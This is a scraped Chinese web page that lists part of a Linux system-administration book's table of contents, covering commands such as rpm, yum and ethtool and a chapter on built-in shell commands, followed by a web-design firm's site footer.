11.11ntsysv:管理開機服務 / 433
11.12 setup:系統管理工具 / 434
11.13ethtool:查詢網卡參數 / 436
11.14mii-tool:管理網絡接口的狀態 / 437
11.19rpm:RPM包管理器 / 443
11.20yum:自動化RPM包管理工具 / 446
top命令
第12章 Linux系統常用內置命令 / 450
12.1Linux內置命令概述 / 450
12.2Linux內置命令簡介 / 450
12.3Linux常用內置命令實例 / 452
分享題目:linux10大命令,linux10個常用命令
當前網址:http://vcdvsql.cn/article0/hsscoo.html
成都網站建設公司_創新互聯,為您提供做網站、服務器托管、關鍵詞優化、靜態網站、響應式網站、App設計
聲明:本網站發布的內容(圖片、視頻和文字)以用戶投稿、用戶轉載內容為主,如果涉及侵權請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網站立場,如需處理請聯系客服。電話:028-86922220;郵箱:631063699@qq.com。內容未經允許不得轉載,或轉載時需注明來源: 創新互聯